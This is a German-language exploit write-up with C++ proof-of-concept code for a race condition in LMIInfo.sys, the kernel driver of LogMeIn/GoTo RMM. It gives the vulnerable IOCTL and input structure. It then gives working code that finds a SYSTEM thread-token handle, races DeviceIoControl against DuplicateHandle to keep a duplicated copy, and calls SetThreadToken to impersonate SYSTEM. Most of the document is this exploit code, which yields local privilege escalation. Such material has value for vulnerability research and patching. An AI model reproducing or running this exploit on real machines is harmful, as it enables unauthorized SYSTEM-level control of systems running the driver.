
Exploit für eine Race Condition im Windows-Kernel-Treiber von LogMeIn/GoTo, die SYSTEM-Handles dupliziert und damit Thread-Token-Impersonation sowie lokale Privilegienerweiterung ermöglicht.
In dem von LogMeIn / GoTo RMM bereitgestellten Treiber LMIInfo.sys existiert eine Race Condition, durch die ein beliebiger Handle aus dem SYSTEM-Prozess dupliziert werden kann. Der Kern des Problems liegt in der fehlenden Zugriffskontrolle auf das Device-Objekt sowie in der offensichtlich schlechten Entscheidung, vom Benutzer angegebene Handles aus dem Systemprozess zu duplizieren.
IOCTL: 0x9211001C
Eingabepuffer:
// LMI-Common.cpp
typedef struct LMI_INFO {
DWORD64 qwPid;
DWORD64 reserved0;
DWORD64 handleValue;
DWORD64 reserved1;
} LMI_INFO, * PLMI_INFO;
Dispatch:

Anfällige Funktion:

Beim Sammeln von Handle-Informationen und der Durchführung von String-Verarbeitung kann der aufrufende Prozess zwischen den Aufrufen von ZwDuplicateObject/ZwClose den duplizierten Handle erneut duplizieren. Bei korrekter Ausführung bleibt der sekundär duplizierte Handle bestehen, nachdem der primär duplizierte Handle geschlossen wurde.
Um den Fehler zuverlässig auszulösen, MÜSSEN alle vom Prozess verwendeten Handles erstellt werden, bevor die Race Condition ausgelöst wird. Der Ziel-Handle wird mithilfe der folgenden Funktion aus dem Systemprozess abgefragt (als Beispiel wird ein Thread-Token verwendet):
// LMI-Common.cpp
HANDLE FindSystemPidFirstToken()
{
HANDLE hHeap = GetProcessHeap();
LPVOID lpBuf = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x20000);
if (!lpBuf) {
printf("HeapAlloc - %d\n", GetLastError());
return INVALID_HANDLE_VALUE;
}
ULONG ulBytesReturned = 0;
NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, lpBuf, 0x20000, &ulBytesReturned);
while (status == 0xC0000004) {
HeapFree(hHeap, 0, lpBuf);
lpBuf = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, ulBytesReturned + 0x1000);
if (!lpBuf) {
printf("HeapAlloc - %d\n", GetLastError());
return INVALID_HANDLE_VALUE;
}
status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, lpBuf, ulBytesReturned + 0x1000, &ulBytesReturned);
}
if (status) {
printf("Query for handles failed - %lx\n", status);
return INVALID_HANDLE_VALUE;
}
PSYSTEM_HANDLE_INFORMATION pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)lpBuf;
for (unsigned int i = 0; i < pSysHandleInfo->NumberOfHandles; i++) {
SYSTEM_HANDLE_TABLE_ENTRY_INFO shtei = pSysHandleInfo->Handles[i];
if (shtei.UniqueProcessId != 4) {
continue;
}
printf("HANDLE:\n\t Handle Value 0x%x - Type 0x%x - Access 0x%x\n", shtei.HandleValue, shtei.ObjectTypeIndex, shtei.GrantedAccess);
if (shtei.ObjectTypeIndex == OBJECT_TYPE_THREAD_TOKEN && shtei.GrantedAccess == THREAD_TOKEN_IMPERSONATE_PRIVILEGES) {
printf("Found handle to token:\n\t Handle Value 0x%x - Type 0x%x - Access 0x%x\n", shtei.HandleValue, shtei.ObjectTypeIndex, shtei.GrantedAccess);
return (HANDLE)shtei.HandleValue;
}
}
return INVALID_HANDLE_VALUE;
}
Da HANDLE-Werte in Schritten von 4 ansteigen, berechnen wir den Wert des primär duplizierten Handles, indem wir die Anzahl der HANDLEs ermitteln und 4 addieren. Dazu öffnen wir das Gerät und erstellen den „Racing“-Thread in einem angehaltenen Zustand, bevor wir den nächsten Handle-Wert berechnen. Dies könnte wahrscheinlich auf stabilere und „raffiniertere“ Weise bewerkstelligt werden, was dem Leser als Übung überlassen bleibt, der vermutlich versierter ist, lmao.
// LMI-Common.cpp
HANDLE FindNextCreatedHandle() {
HANDLE highestHandle = 0;
UINT32 u32NumHandles = 0;
ULONG ulSizeReturned = 0;
NTSTATUS status = 0;
status = NtQueryInformationProcess((HANDLE)-1, (PROCESSINFOCLASS)ProcessHandleCount, &u32NumHandles, sizeof(UINT32), &ulSizeReturned);
if (!NT_SUCCESS(status)) {
return (HANDLE)-1;
}
return (HANDLE)((UINT64)++u32NumHandles * 4);
}
Danach wird der Racing-Thread fortgesetzt und wiederholte IOCTLs werden abgesetzt:
// LMI-Common.cpp
NTSTATUS DupeThread(LPVOID lpParam) {
puts("Entered DupeThread");
if (!lpParam || lpParam == INVALID_HANDLE_VALUE) {
printf("Invalid device handle passed to thread : %lx\n", GetLastError());
return -1;
}
PDUPE_THREAD_INFO Dti = (PDUPE_THREAD_INFO)lpParam;
DWORD dwBytesReturned = 0;
LMI_INFO lmii = { 0 };
lmii.qwPid = 4;
lmii.handleValue = (UINT64)FindSystemPidFirstToken(); // yes, I know
if ((HANDLE)lmii.handleValue == INVALID_HANDLE_VALUE) {
puts("Couldn't find a token handle in the system process??");
}
BOOL bRes = FALSE;
LPVOID lpOutBuf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x1000);
if (!lpOutBuf) {
printf("HeapAlloc : %lx\n", GetLastError());
return -1;
}
while (Dti->Run) {
// call DeviceIoControl to start the race
bRes = DeviceIoControl(
Dti->hDevice,
IOCTL_DUPE_LEL,
&lmii,
sizeof(LMI_INFO),
lpOutBuf,
0x1000,
&dwBytesReturned,
NULL
);
}
}
Die Design-Entscheidung für den Racing-Thread beruht auf Folgendem:
Der Hauptthread ruft wiederholt DuplicateHandle auf, um den primär duplizierten Handle zu duplizieren, bis die Duplizierung erfolgreich ist, und die globale boolesche Variable wird auf false gesetzt, um den Racing-Thread zu beenden (ja, ja, ich weiß).
// Source.cpp
HANDLE hTarget = FindNextCreatedHandle();
hTarget = (HANDLE)((UINT64)hTarget + 4);
puts("Resuming dupe thread");
dwSuspendCount = ResumeThread(hDupeThread);
if (dwSuspendCount == -1) {
printf("Error resuming dupe thread - %lx\n", GetLastError());
return -1;
}
while (!bRes) {
bRes = DuplicateHandle(g_hCurrentProc, hTarget, g_hCurrentProc, &hToken, NULL, FALSE, DUPLICATE_SAME_ACCESS);
}
dti.Run = FALSE;
if (bRes) {
puts("ebin");
printf("%llx - target\n", hTarget);
printf("%llx - dup\n", hToken);
bRes = SetThreadToken(NULL, hToken);
if (!bRes) {
printf("Failed to SetThreadToken - %x\nExploitation failed!", GetLastError());
}
else {
puts("Set the thread token!");
}
}
else {
printf("Failed to dupe token: %lx\n", GetLastError());
return -1;
}
getchar();
return 0;